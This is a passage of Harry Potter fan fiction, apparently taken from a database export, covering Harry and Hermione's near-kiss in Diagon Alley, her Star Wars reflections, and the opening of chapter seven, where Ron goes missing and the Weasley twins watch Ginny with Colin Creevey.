Hufflepuff&#8217;s sense of honor and his innate decency and kindness which made him tell Harry to claim the cup and the victory &#8230; in the face of such civility and graciousness, what was he to do? </p>\n\n<p>Smile and grab the Cup? Keep on arguing with Cedric about who should take the Cup and claim victory, exchange notes on who did the most for whom from the time Harry told him about the dragons, to Cedric&#8217;s advice about the Golden Egg (and the generous offer to make use of the Prefect&#8217;s Bathroom), to who saved who when they were lost in the maze &#8230; </p>\n\n<p>He was a <i>Gryffindor</i>, Harry thought.&nbsp; In the face of such decency, he couldn&#8217;t do anything but <i>return</i> the favor &#8230; and opted for the only compromise that made sense to him. All because of Cedric&#8217;s innate decency and sense of honor &#8230; a presentation which he <i>had</i> to return in full measure.</p>\n\n<p>If he&#8217;d grabbed the Cup for himself &#8230; chances were that he could have escaped, as he <i>did</i> escape that night. </p>\n\n<p>Or maybe not.</p>\n\n<p>If he hadn&#8217;t escaped the trap &#8230; if he had <i>died</i> that night, then it would be <i>Cedric</i> mourning his death right now &#8230; blaming <i>himself</i> for pushing Harry into the trap &#8211; such were the conventions of the virtuous and honorable.</p>\n\n<p>And there&#8217;d be no one to console Hermione.</p>\n\n<p>His heart wrenched at the thought &#8230; and he could see in his mind&#8217;s eye that horrific and painful memory of the Leaving Feast &#8230; raising his goblet to the memory of Cedric &#8230; and seeing Cho&#8217;s tears as she silently cried &#8230; and imagining, for a brief instant, <i>Hermione</i> sitting there and crying &#8230; perhaps with Viktor Krum beside her, trying to console her &#8230;</p>\n\n<p>And probably getting hexed by a maddened, <i>angry</i> Hermione in the bargain.</p>\n\n<p>What <i>was</i> it with Krum, Harry wondered yet again.&nbsp; Why should he even <i>think</i> of Harry as a potential <i>rival</i> for Hermione, when it should have been obvious to even the most blind of <i>bats</i> that <i>Hermione was nothing more than his <u>friend</u>!</i></p>\n\n<p>His mind suddenly jumped on the revelations made by Rita Skeeter, and he forced himself to hold back his <i>rage</i> at what had happened to his friend &#8230; he felt her suddenly tensing beside him, and he held her a bit tighter in reassurance &#8230; and felt her relax, imperceptibly, although he knew she would be scanning their surroundings, prepared to hex anyone or <i>anything</i> that presented a threat &#8230;</p>\n\n<p>To be fair, he thought &#8230; Skeeter was clear on one thing:&nbsp; it wasn&#8217;t <i>Viktor</i> who&#8217;d had problems with Hermione &#8230; it was his <i>family</i> that apparently questioned his best friend&#8217;s <i>acceptability</i>.&nbsp; He smiled grimly at that &#8230; <i>their <u>loss</u></i>, he thought.&nbsp; They didn&#8217;t know her the same way <i>he </i>knew her &#8230; his <i>sister</i> &#8230; his <i>friend &#8230;</i></p>\n\n<p>Yeah, right, his friend. Some <i>friend</i> &#8230; the one who&#8217;d bullied and pushed him into completing his assignments and studying his lessons &#8230; who&#8217;d wheedled and cajoled him into eating something before his first Quidditch match &#8230; the straight arrow who&#8217;d broken at least fifty school rules in concocting the Polyjuice potion &#8211; including stealing boomslang skin from <i>Snape&#8217;s </i>room&#8230; who&#8217;d gone with him into the tunnel and the Shrieking Shack, without even thinking of running back for a teacher &#8230; who&#8217;d brought him a stack of toast so that he could have breakfast in peace, the day after the Goblet of Fire announced him as a champion &#8230;</p>\n\n<p>Who&#8217;d talked about nothing but <i>him</i> whenever she was with Viktor Krum.</p>\n\n<p>Some sister.</p>\n\n<p>He almost tripped as the thought blasted through his body &#8230; </p>\n\n<p>Some <i>friend</i>.</p>\n\n<p><i>What a girl!</i></p>\n\n<p>And he suddenly wondered if, for some obscure reason, Voldemort had made a fatal mistake &#8230; that it wasn&#8217;t <i>him</i>, that it wasn&#8217;t Harry Potter, The Boy-Who-Lived, who was the <i>real</i> threat to his mad schemes of domination, but the girl who was walking beside him &#8230; the one, the only, Hermione Granger.</p>\n\n<p>The thought brought a smile to his lips &#8230; a smile that soon made its way to his eyes, and the shadow of gloom lifted a bit more from his shoulders.&nbsp; Wouldn&#8217;t it be ironic, he thought &#8230; wouldn&#8217;t it be supremely <i>hilarious</i> if, after all the effort, all the suffering and pain that he had caused in the past four years in his insane efforts to <i>kill</i> The Boy-Who-Defeated-Him, Voldemort&#8217;s <i>real</i> enemy was the slim, petite girl with bushy brown hair walking beside him?</p>\n\n<p>From out of nowhere, an errant memory struck &#8230; something in one of the pocketbooks that Dudley never read, thrown into the room he occupied in the summers but which had been Dudley&#8217;s storeroom &#8230; given as a gift by some unknowing and unknown benefactor &#8230; something about the deepest, darkest secret in the universe &#8230; what was it?&nbsp; Oh yes &#8230; that was it &#8230;</p>\n\n<p>&#8220;<i>It is something even the Masters don&#8217;t reveal about the inner nature of the secret heart of the universe &#8230; The deepest darkest secret of all that the Force lets you see &#8230;</i></p>\n\n<p>&#8220;<i>The universe has a sense of humor.</i>&#8221;</p>\n\n<p>A smile broke out that would have melted the polar ice caps &#8211; or melted the heart of Severus Snape, if he ever swung that way.&nbsp; For a tiny instant, a laugh boiled up within him and he felt &#8230; <i>liberated</i>.&nbsp; It felt so good to laugh &#8230; to find even a tiny shred of humor in the darkness that he could feel gathering around them &#8230; and for a wild moment, felt a sudden, <i>insane</i> urge to plant a kiss on the bushy head of hair resting on his shoulder &#8230;</p>\n\n<p>Did he just think about <i>kissing</i> her?</p>\n\n<p>Why?</p>\n\n<p>Why should the very thought of <i>kissing</i> her make him feel torn &#8230; no, it wasn&#8217;t that &#8230; it was as if his <i>mind</i> had split in two &#8230; one side saying that doing so was the most <i>natural</i> thing to do, while the other was screaming at him that it was <i>not</i> natural, that it was incestuous &#8230; that one does <i>not</i> think that way about one&#8217;s <i>sister </i>&#8230;</p>\n\n<p>But she&#8217;s not.</p>\n\n<p>My sister, that is.</p>\n\n<p>She&#8217;s my <i>friend</i> &#8230; she&#8217;s my <i>girl</i> friend.</p>\n\n<p>Oh.</p>\n\n<p>He resisted that mad, mad <i>itch</i> for a moment &#8211; and gave in to the impulse.&nbsp; </p>\n\n<p>He leaned forward, lips puckered to plant the kiss &#8230; at exactly the same moment that she decided to look up at him &#8230; and they froze &#8211; noses a hair&#8217;s breath from each other &#8230; lips a thin ribbon&#8217;s width away, so close that they could feel each other&#8217;s breathing as they inhaled and exhaled in a rapid, sharp tempo, eyes locked in a question that neither recognized or understood &#8230; or were prepared to acknowledge.</p>\n\n<p>And they quickly reverted to their original stance &#8230; Harry looking ahead, an arm carrying a bag of books around his best friend, the other arm similarly weighed down with another bag of books at his side &#8230; Hermione with her head resting on his shoulder, an arm around her best friend, neither of them missing a beat as they walked side-by-side down the length of Diagon Alley &#8230;</p>\n\n<p>Neither one saw an extremely annoyed, not to say <i>chagrined</i>, wizard swearing softly at what had almost happened. A moment later, with a resigned sigh, he tossed a golden Galleon at his smirking twin.</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>This was &#8230; comfortable. No, <i>reassuring</i> was a better word &#8230; but not quite &#8230; not quite &#8230; </p>\n\n<p>Hermione Granger, who was <i>precise</i> in everything she did &#8230; who had memorized and could recite without a stutter a thousand and one arcane facts, from the twelve uses of dragon&#8217;s blood to the names of the first Board of Directors of Gringotts &#8230; found that she could not describe <i>exactly</i> what she was feeling at this moment as she walked the streets with her best friend.</p>\n\n<p>Except to say that&nbsp; it was &#8230; <i>nice</i>.</p>\n\n<p>It was &#8230; <i>wonderful</i>.</p>\n\n<p>It was &#8230; <i>natural</i>.</p>\n\n<p>It felt as if her whole life had been a journey, with a few detours here and there, towards <i>this</i> &#8230; to be walking the streets of magical London, surrounded by her friends and family (well, the Weasleys may not have been her biological family, but they&#8217;d adopted her into their fold so easily, except for that little awkwardness over the stupid Skeeter&#8217;s article), an arm around her best friend &#8230; his arm around her &#8230; and walking along so naturally, not even talking about which direction their steps would go, almost stepping into the gutter as they avoided a large stack of boxes being levitated by some wizard, but avoiding it just the same, without breaking stride &#8230;</p>\n\n<p>Just walking along comfortably, quietly, <i>naturally</i>.</p>\n\n<p>Unconsciously, she rubbed her head against his shoulder, and felt the tension of the muscles there as his arm carried a bag of <i>her </i>books.&nbsp; She&#8217;d offered to relieve him of the load but he had answered, in a voice with a <i>slight</i> echo of her own bossy, know-it-all manner from her first year, that he didn&#8217;t think she could <i>manage</i> it &#8230; that the weight of her books may well stunt whatever <i>little</i> growth she&#8217;d had over the summer &#8230; </p>\n\n<p>She&#8217;d swatted at him then, but he&#8217;d easily avoided it. She knew that her body language must have communicated her intentions to him (as <i>his</i> body often told her his feelings and emotions without words being said), and he&#8217;d stepped away and stuck his tongue out at her.</p>\n\n<p>She could only smile at him, and toss her hair &#8230; in the next moment, she&#8217;d stepped closer to him and tucked her arm in his so naturally, leaned against his shoulder and whispered, &#8220;<i>Behave!</i>&#8221; and he did &#8230; placing an arm around her without thinking &#8230; and she had placed her arm around him so naturally &#8230;</p>\n\n<p>As naturally as hugging a brother.</p>\n\n<p>If she had one.</p>\n\n<p>Which she definitely did <i>not</i>.</p>\n\n<p>But then &#8230; why did she feel so comfortable, so at ease &#8230; so <i>at home</i> with Harry Potter? </p>\n\n<p>She didn&#8217;t know. </p>\n\n<p>It just felt so <i>natural </i>(there was <i>that</i> word again) &#8230; even when she did not know him from Adam, that first day on the Hogwarts Express when she&#8217;d stumbled into the compartment he shared with Ron and saw him for the first time &#8211; all hair and glasses, almost swimming in the castoff clothes of an enormous Dudley &#8230; and for some reason, started chattering away to them, even before she could give her name.</p>\n\n<p>Or even ask who <i>they </i>&nbsp;were.</p>\n\n<p>She nearly cringed as she remembered her first days at Hogwarts and (this time, she <i>did</i> cringe) the seemingly <i>desperate</i> attempts to get the boy beside her to take notice -- and making a total <i>fool</i> of herself -- talking about the enchanted ceiling in the Great Hall &#8230; chattering away with Percy about Transfiguration &#8230; raising her hand during their first Potions lesson, not because she wanted to show off (as many of them undoubtedly thought) but because she wanted to draw attention away from <i>him</i>.</p>\n\n<p>Only for that miserable Professor Snape to take points away from Gryffindor.</p>\n\n<p>She sighed to herself, and snuggled closer to her best friend, and continued pondering that question: Why <i>did</i> she feel so at home with <i>him</i>?</p>\n\n<p>She was no Princess Leia, <i>that</i> was for sure.&nbsp; She&#8217;d been a <i>Star Wars</i> aficionado for <i>years</i> &#8230; rather, her <i>parents</i> were (which was a rather startling idea for dentists) but <i>Star Wars</i> had been her parents date-movie when they were at Uni &#8230; and she&#8217;d grown up with the full collection of toys, including an action-figure Princess Leia and Luke Skywalker.</p>\n\n<p>And then they&#8217;d brought home the VHS movies to celebrate their new large-screen TV.</p>\n\n<p>She&#8217;d been so entranced, especially with Obi-Wan&#8217;s explanation of The Force (&#8220;<i>It\'s an energy field created by all living things. It surrounds us and penetrates us. It binds the galaxy together.</i>&#8221;); enthralled by Yoda&#8217;s training and admonitions&nbsp; to Luke; watched, goggle-eyed, as the diminutive figure lifted Luke&#8217;s X-Wing fighter out of the Dagobah swamp &#8230; and his final, cutting statement to Luke&#8217;s &#8220;I don&#8217;t believe it&#8221;: &#8220;<i>That is why you fail.</i>&#8221; </p>\n\n<p>It made her <i>determined</i> to be a Jedi Knight.</p>\n\n<p>She focused her mind on the popcorn bowl as her parents continued watching the movie &#8230; and kept repeating Yoda&#8217;s &#8220;<i>Do. Or do not. There is no try</i>&#8221; to herself &#8230; and watched the bowl give a sudden jerk and float into the air.</p>\n\n<p>Only to crash as her mother&#8217;s shriek of surprise broke her concentration. But it <i>proved</i> to her that the Force <i>did</i> exist, no matter that her parents kept insisting for months after that it was only a <i>movie</i>, that there was no such <i>thing</i> as the Force, and tried to explain away the many strange (to her, <i>wonderful</i>) things that kept happening around her.</p>\n\n<p>They refused to believe, until the letter from Hogwarts arrived &#8211; and they were forced to admit the fact that, while their daughter may not be a Jedi Knight, she did have something like the Force within her.</p>\n\n<p>Only, it was called <i>magic</i>.</p>\n\n<p>However &#8230; if there was <i>one</i> thing she didn&#8217;t like about <i>Star Wars</i>, however, it was the way they handled the story of Princess Leia and Luke Skywalker.&nbsp; It was a plain and simple cop-out, she thought irately, making Luke and Leia siblings separated at birth because big, bad Darth Vader was their <i>father</i>, so they could develop the Han-Leia angle &#8230; she&#8217;d been rooting for Luke and Leia from the beginning, but knew, by the second movie, that her wishes would <i>not</i> be granted &#8230; all those icky glances and verbal clashes between Han and Leia &#8230; like the constant bickering between her and Ron &#8230;</p>\n\n<p>She almost missed a step.</p>\n\n<p>Was <i>that</i> what it was?</p>\n\n<p>Was she <i>living</i> in a Star Wars movie, where Luke was Harry, she was Princess Leia, and Ron was <i>Han Solo</i>?</p>\n\n<p>No.</p>\n\n<p>Of <i>that</i> she was sure.</p>\n\n<p>She felt a quiver of tension from her best friend, and she quickly glanced around for the threat, but he&#8217;d hugged her tightly for a moment, and she relaxed &#8230;and her mind brought back the question that started it all &#8230; and for which she could find no real answer.</p>\n\n<p>It was just &#8230; it just <i>is</i>.</p>\n\n<p>She just felt more comfortable, more at ease, more <i>at home</i> with Harry than with anyone else &#8230; and no, it was <i>not</i> because he was her long-lost brother or something.&nbsp; She&#8217;d made sure of <i>that</i>, when her mother asked her (eyebrows raised) why she was spending so much on <i>Harry</i>, the summer before their third year, when she&#8217;d bought him the Broomstick Servicing Kit &#8230; and she told her Mum that it was for her best friend.</p>\n\n<p>They&#8217;d talked about Harry that night &#8230; his adventures and his life, his miserable life with the Dursleys and his parents &#8230; and her mother had commented, &#8220;Sounds like Luke Skywalker, doesn&#8217;t he?&#8221;</p>\n\n<p>She&#8217;d laughed at that, and told her Mum that no, Harry was no Luke &#8230; although he did have the messy hair, Harry&#8217;s eyes were green &#8230; and while he did pick up magic in much the same way that Luke handled the Force (instinctively), <i>he</i> didn&#8217;t even have a light-saber to duel with &#8230; although, she said reflectively, he <i>did</i> have Godric Gryffindor&#8217;s sword.</p>\n\n<p>And <i>she</i>, Hermione Ann Granger, was certainly no Princess Leia, flying all over the Galaxy fighting the bad guys &#8230; but (and she kept the thought to herself, knowing the shock and dismay her mother would feel) what <i>had</i> she been doing since first year? She&#8217;d been with Harry until almost the end in the chambers leading to the Sorcerer&#8217;s Stone &#8230; OK, she was Petrified when he and Ron went after the basilisk in the Chamber of Secrets, but she had <i>helped</i> even then &#8230; she was with him when they rescued Sirius &#8230; in any case, she&#8217;d said awkwardly to her mother, she was no <i>princess</i> &#8230;</p>\n\n<p>&#8220;Well, to your father and myself, you always were a princess,&#8221; her mother had replied. She&#8217;d smiled and hugged her Mum, and broke into a laugh as she continued, &#8220;and one thing for sure &#8230; <i>you</i> are most definitely <i>my</i> little girl. I <i>carried</i> you with me for nine months, talking to you, singing to you, <i>reading</i> to you &#8230;&#8221;</p>\n\n<p>She&#8217;d hugged her Mum again at that.</p>\n\n<p>She felt a sudden mirth in her best friend, and wondered what he found so funny &#8230; and heard Harry murmuring something under his breath, and caught the last part as she listened closely from her position with her head on his shoulder: &#8220;&#8230;<i>The deepest darkest secret of all that the Force lets you see &#8230; The universe has a sense of humor.</i>&#8221;</p>\n\n<p>&#8220;Children of the Jedi,&#8221; she thought.&nbsp; She&#8217;d seen the book when she went shopping with her Mum for her summer clothes, and bought it on impulse &#8230; and she recognized the line even as she wondered why Harry would be thinking of <i>Star Wars</i> &#8230; and <i>what</i> had brought <i>that</i> particular line to his mind &#8230; which brought her mind back to Ron Weasley-as-Han Solo &#8230;</p>\n\n<p>No, Ron was <i>no</i> Han Solo &#8230; he didn&#8217;t have that smuggler&#8217;s <i>style</i> &#8230; she couldn&#8217;t imagine Ron piloting the Millennium Falcon telling the others, &#8220;<i>Never tell me the odds!</i>&#8221; And if the way they <i>bickered</i> was any indicator &#8230; he was <i>definitely</i> no Han &#8230; and she was <i>no</i> Princess Leia!</p>\n\n<p>If anything, their bickering sounded more like &#8230; like &#8230; oh, no, she thought in dismay. They often sounded like C3PO and R2D2, with <i>her</i> taking on the protocol droid&#8217;s spinsterish, old-maid tone and manner, while Ron&#8217;s responses followed the sharp, cutting tones of the astromech droid &#8230;</p>\n\n<p>And she stifled her own laugh.</p>\n\n<p>Now <i>that</i> would be the heart of irony and hilarity! If the wizarding world <i>knew</i> of <i>Star Wars</i>, they may fall into the same trap of thinking of the three of them in the same way the world saw the Trio of Luke, Leia and Han &#8230; when it may very well be the <i>other</i> Trio of Luke, C3PO and R2D2, with Harry as the heroic Luke Skywalker &#8230; and his two sidekicks constantly bickering and sniping at each other, although the roles were often reversed: she could see <i>Ron</i> as C3PO moaning, &#8220;<i>we&#8217;re doomed, we&#8217;re doomed!</i>&#8221; while <i>she</i> was R2D2, running in to find a solution on the ship&#8217;s computers &#8230; slotted behind Harry&#8217;s X-Wing fighter trying to hold that bucket of bolts <i>together </i>&#8230;</p>\n\n<p>At least their <i>heights</i> matched with the two druids &#8230; except when she was in her Hermione-as-C3PO mode, acting like a spinsterish old maid, cautioning them about the rules &#8230; bullying them to do their homework &#8230; hounding them to help her with S.P.E.W. &#8230; holding Harry back from making a fool of himself over the veela &#8230;</p>\n\n<p>Her moment of hilarity dimmed as she wondered whether they really did look at her <i>that</i> way &#8230; she felt a hint of tears beginning to form, and sneaked a peek at her best friend, wondering what he <i>really</i> thought of her &#8230; and catching a smile so unaffected, so artless and spontaneous that she felt herself feeling enveloped by warmth &#8230; the kind of warmth he radiated when they were together like this &#8230; quietly, sharing a moment of companionship together &#8230;</p>\n\n<p>And she realized that <i>that</i> was what seemed to bind her so closely to Harry Potter &#8230; It wasn&#8217;t the things he did for the wizarding world that made him whatever it was&nbsp; that <i>he</i> was to <i>her</i> &#8230; it was <i>everything</i> that he&#8217;d done for <i>her</i> from the moment she&#8217;d barged into their compartment in a search of a toad.&nbsp; He had <i>never</i> laughed at her &#8230; didn&#8217;t join in with everyone else who&#8217;d thought of her as a bossy, know-it-all witch who wanted to be Head Girl before she was twelve &#8230; who&#8217;d <i>realized</i> she did not know about the Troll in the castle even though she hadn&#8217;t spoken to him in <i>weeks</i> &#8230; and who&#8217;d waded bravely, if <i>stupidly</i>, into the girl&#8217;s bathroom to try and pull her out &#8230;</p>\n\n<p>She remembered the moment in the room with the Potions challenge beneath the castle &#8230; the moment she&#8217;d given in to impulse and hugged him tightly before letting him go to face the final challenge alone.</p>\n\n<p><i>&#8220;Me!&#8221; said Hermione. &#8220;Books! And cleverness! There are more important things&nbsp; --&nbsp; friendship and bravery and&nbsp; --&nbsp; oh Harry&nbsp; --&nbsp; be careful!&#8221;</i></p>\n\n<p>She&#8217;d been about to say &#8220;love&#8221; but had stopped herself in time &#8230; what did <i>she</i> know of <i>love</i> at the tender age of eleven? But it was what she&#8217;d wanted to say &#8230; it was what she <i>felt</i> at that singular moment in time &#8230;</p>\n\n<p>She felt a sudden impulse to stand up on her toes and kiss him on the cheek &#8230; it was the <i>same</i> compulsion that made her kiss him on the cheek at Platform 9 and 3/4 : that combination of concern, affection, caring, <i>love</i> for someone who was a brother to her &#8230;</p>\n\n<p>If she had a brother.</p>\n\n<p>Which she did not.</p>\n\n<p>She had a <i>friend</i>.</p>\n\n<p>She had a <i>boy</i> friend.</p>\n\n<p>Oh.</p>\n\n<p>She resisted the mad urge to kiss him for a moment &#8230; and gave in, because it expressed for her, everything she felt towards him <i>now</i> &#8230;</p>\n\n<p>She turned and tilted her head to kiss his cheek &#8230; and <i>froze</i> as she felt his nose almost brushing her own &#8230; his lips, warm and full, less than an <i>inch</i> away from hers &#8230; and felt his breath mingling with her own &#8230; and her eyes locked with his in a question that she was not prepared to acknowledge.</p>\n\n<p>She quickly reverted to her original stance as he did &#8230; looking ahead, arms around the others&#8217; best friend &#8230; her head resting on his shoulder, <i>his </i>head resting on her hair, neither of them missing a beat as they walked side-by-side down the length of Diagon Alley &#8230;</p>\n\n<p>Neither one noticed Molly Weasley, who was walking ahead of them with her husband but constantly glancing back at them, heave a <i>long </i>sigh of frustration &#8230; an act which made Arthur look questioningly at his wife.&nbsp; Molly simply reached up and gave him a kiss on the lips &#8230; </p> '),
	(125, 8, ' <p>Epiphanies 07</p>\n\n<p><b>Author&#8217;s Notes:</b>&nbsp; The usual disclaimers: this is based on stories created by JK Rowling, copyright owned by whoever, and there is no profit being made from doing it except the reviews (and the appreciation) of the people who read it.</p>\n\n<p>I would like to thank all those who reviewed on portkey.org and astronomytower.org, but especially <b>DragonKain3</b>, <b>CJH</b>, <b>fopalup</b>, <b>Nicole</b>, and all the others &#8230; but especially, thanks for my lovely <b>PQ Queen, sugarjet erin</b>. J</p>\n\n<p>&nbsp;</p> Chapter 7.&nbsp; Awakenings and Confrontations <p>&#8220;Where&#8217;s Ron?&#8221; Hermione asked, as they entered the courtyard of Florean Fortescue&#8217;s ice cream parlor.</p>\n\n<p>&#8220;I don&#8217;t know,&#8221; Harry replied absently. He glanced around him, feeling as if he&#8217;d suddenly walked out of a fogbank into the brilliant sunlight, blinking at his surroundings and wondering, irrelevantly,&nbsp; if this was what &quot;Unfogging the Future&quot; meant.&nbsp; &#8220;He was right behind us a minute ago &#8230;&#8221;</p>\n\n<p>A sudden dread swept through him &#8230; Ron was just behind them when he&#8217;d placed his arm around Hermione &#8230; did he see what I almost did? And even if he didn&#8217;t &#8230; the way they were walking along, arms around each other &#8230;</p>\n\n<p>He looked at his best friend &#8230; and saw the same look of dismay in her eyes as they met his.&nbsp; It had been so natural, so <i>spontaneous</i> an act for both of them that they&#8217;d never even thought of their other best friend &#8230; hadn&#8217;t thought that he&#8217;d feel left out, boxed out &#8230; thrown out of their tight circle of friendship because &#8230;</p>\n\n<p>Because of what?</p>\n\n<p>Because &#8230;&nbsp; Harry pushed that train of thought away. He didn&#8217;t want to focus on it, did not want to think about it now ... </p>\n\n<p>He quickly put down the bags he was carrying on an empty chair and turned to Ginny, who had walked up behind them, &#8220;I&#8217;ll go look for Ron ... he must have wanted to look at the new brooms ...&#8221;</p>\n\n<p>&#8220;I&#8217;ll go with you,&#8221; Hermione said, as she laid down the bag she was carrying. He was about to protest, but he knew that it was useless.&nbsp; She&#8217;d feel just as responsible for what happened as he did ... and would be doing whatever was needed to help heal this rift ... if it were a rift ...</p>\n\n<p>He merely nodded and walked out, Hermione beside him ... neither one noticing Ginny\'s wistful expression as she watched them leave, or the Twins\' bemused looks from where they stood at the door of the ice cream parlor ...</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;And the Dynamic Duo rides again,&#8221; Ginny thought to herself as she watched them melt into the crowds, feeling a brief twinge of envy towards Hermione ... and realizing that, while she may be envious of the older girl&#8217;s closeness to Harry, she herself was still a long way from establishing the kind of trust, friendship and ... and <i>teamwork</i> that they (including her brother Ron) had built over the years ...</p>\n\n<p>And there, she thought, lay the crux of her problem.&nbsp; The three formed a cohesive whole ... each of them contributing something to the group. But if one were missing ... and she realized, with a stab of surprise, that if <i>Ron</i> were missing, Harry and Hermione would still prevail over whatever was thrown their way.&nbsp; The two would be able to continue ... be able to function ... maybe not as efficiently, maybe not as effectively,&nbsp; but they would easily regain their balance and spirit and carry on ... able to continue because they had each other ...</p>\n\n<p>She shivered at the thought ... and wondered if her brother understood the implications ... and if <i>that</i> was the real reason why he seemed so obsessed with Hermione: not because of any feelings of love, hormonal urgings, or romance, but because he knew, or could sense, that his place in the Trio was slipping away ...</p>\n\n<p>In a way, she reflected, she was luckier than Ron. Much as she wanted to be part of the group (or rather, she admitted to herself, much as she wanted to be part of <i>Harry</i>), the fact that she was on the fringe -- and never part of the Trio -- meant that she could go her own way ... never suffer any heartache, never go through any feelings of hurt or loss ... except for the constant thought of what might have been ...</p>\n\n<p>All such thoughts and worries disappeared, however, as she felt two strong arms suddenly grabbing her about the shoulders ... </p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&#8220;No interference, brother?&#8221;</p>\n\n<p>&#8220;No interference,&#8221; Fred (or was it George?) affirmed. He sighed, &#8220;Ronnie better grow up ... he&#8217;s got no chance with little Miss Granger, not after what we just saw.&#8221;</p>\n\n<p>&#8220;You think he\'ll grow up?&#8221;</p>\n\n<p>&#8220;I hope so ... remember what Mum always says about girls as friends?&nbsp; You either grow up ... or move on.&#8221;</p>\n\n<p>&#8220;How come she never told me that?&#8221;</p>\n\n<p>&#8220;She was talking to Charlie, you dumb prat!&nbsp; You think she\'ll ever be telling <i>me</i> that?&#8221;</p>\n\n<p>&#8220;Well, she hasn\'t seen you with Angelina ... Oww!&#8221;</p>\n\n<p>&#8220;Neither has she seen you with Katie, you git! Or are you still wanking off on McGonagall?&#8221;</p>\n\n<p>&#8220;Hey! No talking about my love life ...&#8221;</p>\n\n<p>&#8220;Yeah,&#8221; Fred (or George) replied. He sighed again, &#8220;I better not make any more bets on those two ... I could have sworn that he was going to kiss her ... &#8220;</p>\n\n<p>&#8220;Leave it, George,&#8221; his twin replied. &#8220;Besides, what I got from you goes back into the Fund. And ... Uh-oh ...&#8221;</p>\n\n<p>&#8220;What?&#8221; George glanced at his brother, followed his gaze, and muttered darkly, &#8220;I&#8217;ll put a stop to that!&#8221;</p>\n\n<p>A stocky wizard with blonde hair and a camera slung around his neck had grabbed their sister, and they could hear his formerly thin and whiny, now deep and husky voice saying, &#8220;Ginny! Are you all right?&#8221;</p>\n\n<p>&#8220;That&#8217;s not ...&#8221;</p>\n\n<p>&#8220;It is ...&#8221;</p>\n\n<p>&#8220;It can&#8217;t be ...&#8221;</p>\n\n<p>&#8220;It is ...&#8221;</p>\n\n<p>&#8220;He&#8217;s not ...&#8221;</p>\n\n<p>&#8220;He might ...&#8221;</p>\n\n<p>The Twins watched in mingled amusement, sibling pride and brotherly protectiveness as Ginny came eyeball-to-eyeball with Colin Creevey, somehow taller and more filled out than either remembered from last year, dark blue eyes flashing with concern, the ever-present camera slung around his neck totally forgotten -- his seeming obsession with cataloguing the Life and Times of Harry Potter completely set aside as he scanned her face and body anxiously for any injury or bruise.</p>\n\n<p>Or so they hoped.</p>\n\n<p>&#8220;People were talking when we got here ... did you really have a wizard&#8217;s duel with Malfoy and the Slytherins? Are you all right? You&#8217;re not hurt, are you? C&#8217;mon, let&#8217;s have an ice cream... I&#8217;d like to hear about what happened,&#8221; Colin continued talking as he pulled Ginny towards a group of younger witches and wizards from her year and below ... </p>\n\n<p>&#8220;He&#8217;s taller ...&#8221;</p>\n\n<p>&#8220;Quite good-looking, too.&#8221;</p>\n\n<p>&#8220;Think he&#8217;ll make a good Beater?&#8221;</p>\n\n<p>&#8220;Beater?&#8221; A sly grin broke out on the other&#8217;s face. &#8220;Oh, you mean as a target for Bludgers?&#8221;</p>\n\n<p>&#8220;Yeah ...&#8221;</p>\n\n<p>&#8220;Too bad Lockhart&#8217;s no longer around ...&#8221;</p>\n\n<p>An evil grin broke out on the other&#8217;s face. &#8220;Right ... he could make all his <i>bones</i> disappear ...&#8221;</p>\n\n<p>&#8220;I would rather that <i>he</i> disappear ...&#8221;</p>\n\n<p>Before they could make a move, a heavy arm clapped Fred&#8217;s and George&#8217;s shoulder -- and they turned into the smiling eyes of their big brother, who&#8217;d grabbed them by their upper arms, and started pulling them towards the shop. &#8220;Leave her, boys ... it&#8217;s what she needs right now.&#8221;</p>\n\n<p>&#8220;Bill ...&#8221;</p>\n\n<p>&#8220;Yeah, Bill ...&#8221;</p>\n\n<p>Their eldest brother gave them a look which had shut them up without a squeak in their younger years, and they fell silent, accepting but not committed to the idea.</p>\n\n<p>Bill smiled: &#8220;If he goes too far, you have my permission to shove his <i>camera</i> all the way where the sun doesn&#8217;t shine.&#8221;</p>\n\n<p>The Twins looked at each other and nodded, evil schemes popping into their minds ... both agreeing that they&#8217;d found their next laboratory animal (test pilot? George thought with a wicked gleam in his eye), and allowed themselves to be pulled into the ice cream parlor ...</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>Head bowed ... hands in pockets ... letting the crowds that thronged the marketplace push him this way and that.&nbsp; Eyes blank, vision blurred but not from unshed tears ... for there were no tears to shed, as his mind played and replayed scenes from that day: the two of them falling into The Burrow, muddy and laughing that morning ... discussing the relative merits of Arithmancy and Ancient Runes at breakfast ...&nbsp; Hermione on top of Harry as she arrived at the Leaky Cauldron ... Harry and Hermione standing back to back, Disarmed and stunned enemies around them ... </p>\n\n<p>Why did he torture himself?&nbsp; He should have <i>known</i> ... they&#8217;d been friends&nbsp; for years ... how come he&#8217;d never really seen it before? </p>\n\n<p>It had always been Harry and Hermione ... Hermione and Harry, ever since their first year ... Hermione looking as if she wanted to climb into Harry&#8217;s bed and hug him in the Hospital Wing after the incident with the Sorcerer&#8217;s Stone&nbsp; ... Hermione running towards Harry screaming, &#8220;You&#8217;ve solved it! You&#8217;ve solved it!&#8221; in their second year (and slamming into Harry for a fierce and 